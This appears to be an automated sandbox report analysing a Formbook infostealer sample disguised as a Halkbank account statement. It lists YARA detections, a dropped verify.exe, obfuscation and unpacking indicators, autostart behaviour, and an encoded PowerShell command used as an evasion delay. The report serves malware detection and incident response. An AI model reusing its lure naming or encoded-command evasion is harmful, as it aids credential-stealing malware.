Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: powershell.exe PID: 4744, type: MEMORYSTR Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: C:\Users\user\AppData\Local\verify.exe, type: DROPPED Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Detected potential crypto function
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_00E61539 0_2_00E61539
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB0F18 0_2_05DB0F18
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB0162 0_2_05DB0162
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB0040 0_2_05DB0040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB045B 0_2_05DB045B
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB0FDA 0_2_05DB0FDA
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB6720 0_2_05DB6720
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB0950 0_2_05DB0950
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB085B 0_2_05DB085B
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB13D0 0_2_05DB13D0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E97480 0_2_05E97480
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E9B438 0_2_05E9B438
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E9F628 0_2_05E9F628
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E9E880 0_2_05E9E880
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E9E03C 0_2_05E9E03C
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E9C4B8 0_2_05E9C4B8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E9B768 0_2_05E9B768
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_00E65DE6 0_2_00E65DE6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005B5D68 1_2_005B5D68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005B1698 1_2_005B1698
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005B1690 1_2_005B1690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005BD78B 1_2_005BD78B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005EC2E8 1_2_005EC2E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005E94BB 1_2_005E94BB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005E9AF8 1_2_005E9AF8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005EAF10 1_2_005EAF10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005EA772 1_2_005EA772
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_076C3330 1_2_076C3330
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041D052 17_2_0041D052
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0040102A 17_2_0040102A
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00401030 17_2_00401030
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041B8D3 17_2_0041B8D3
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041C174 17_2_0041C174
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041C9FB 17_2_0041C9FB
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041C22A 17_2_0041C22A
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041CC5B 17_2_0041CC5B
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00408C80 17_2_00408C80
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00402D87 17_2_00402D87
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00402D90 17_2_00402D90
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041C59C 17_2_0041C59C
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041C6C5 17_2_0041C6C5
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041BEC7 17_2_0041BEC7
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00402FB0 17_2_00402FB0
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_004185E0 NtCreateFile, 17_2_004185E0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00418690 NtReadFile, 17_2_00418690
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00418710 NtClose, 17_2_00418710
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_004187C0 NtAllocateVirtualMemory, 17_2_004187C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041883A NtAllocateVirtualMemory, 17_2_0041883A
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_004185DA NtCreateFile, 17_2_004185DA
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041868A NtCreateFile, 17_2_0041868A
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041868F NtReadFile, 17_2_0041868F
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041870B NtClose, 17_2_0041870B
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Sample file is different than original file name gathered from version info
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Binary or memory string: OriginalFilename vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameJihogazdofjyz.dll" vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.930169193.0000000000752000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameCszji.exe. vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935239896.0000000005D00000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameJihogazdofjyz.dll" vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Binary or memory string: OriginalFilename vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000000.925942429.0000000000B52000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameCszji.exe. vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000003.930343050.0000000001396000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936183255.000000000185F000.00000040.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936013595.00000000016CF000.00000040.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Binary or memory string: OriginalFilenameCszji.exe. vs Halkbank_Ekstre_20220128_081138_756957 (1).exe
PE file contains strange resources
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: verify.exe.0.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe File read: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Jump to behavior
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe "C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe"
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc WwBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAF0AOgA6AFMAbABlAGUAcAAoADIAMAAwADAAMAApAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc WwBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAF0AOgA6AFMAbABlAGUAcAAoADIAMAAwADAAMAApAA== Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe File created: C:\Users\user\AppData\Local\verify.exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_425bqlqm.lt5.ps1 Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@6/7@1/1
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5468:120:WilError_01
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: wntdll.pdbUGP source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.935902947.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000003.930075303.0000000001280000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936013595.00000000016CF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.935902947.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000003.930075303.0000000001280000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936013595.00000000016CF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256 source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.935430367.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.933451281.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000000.00000002.932856682.0000000003B49000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected Costura Assembly Loader
Source: Yara match File source: 0.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.5e30000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.3af0730.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.931638980.0000000002AA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.935355147.0000000005E30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Halkbank_Ekstre_20220128_081138_756957 (1).exe PID: 3496, type: MEMORYSTR
.NET source code contains potential unpacker
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: verify.exe.0.dr, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.750000.0.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.750000.0.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.5.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.2.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.3.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.0.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.1.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.7.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.9.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.b50000.1.unpack, Program.cs .Net Code: Read System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_00E6EE9A pushad ; retf 0_2_00E6EE9D
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DBFD02 push E801035Eh; ret 0_2_05DBFD09
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB1CC8 push eax; retf 0_2_05DB1CC9
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DBFCF7 push E802005Eh; retf 0_2_05DBFD01
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB0F08 pushad ; ret 0_2_05DB0F09
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05DB61E5 push edi; iretd 0_2_05DB61E6
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 0_2_05E95E73 push eax; ret 0_2_05E95E79
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005BF4B8 pushfd ; ret 1_2_005BF4C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_005E5D21 push es; ret 1_2_005E5D36
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041D052 push ecx; ret 17_2_0041D04F
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041D014 push ecx; ret 17_2_0041D04F
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041B832 push eax; ret 17_2_0041B838
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041B83B push eax; ret 17_2_0041B8A2
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041B89C push eax; ret 17_2_0041B8A2
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00417128 push esp; retf 17_2_00417129
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041D275 push ecx; ret 17_2_0041D04F
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041CD80 push ebp; ret 17_2_0041CD8F
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00414D94 push eax; iretd 17_2_00414D95
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_00415EE8 push esi; iretd 17_2_00415EF3
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_0041B7E5 push eax; ret 17_2_0041B838
Binary contains a suspicious time stamp
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe Static PE information: 0xE0201BDD [Fri Feb 25 20:11:09 2089 UTC]

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe File created: C:\Users\user\AppData\Local\verify.exe Jump to dropped file

Boot Survival
barindex
Creates an undocumented autostart registry key
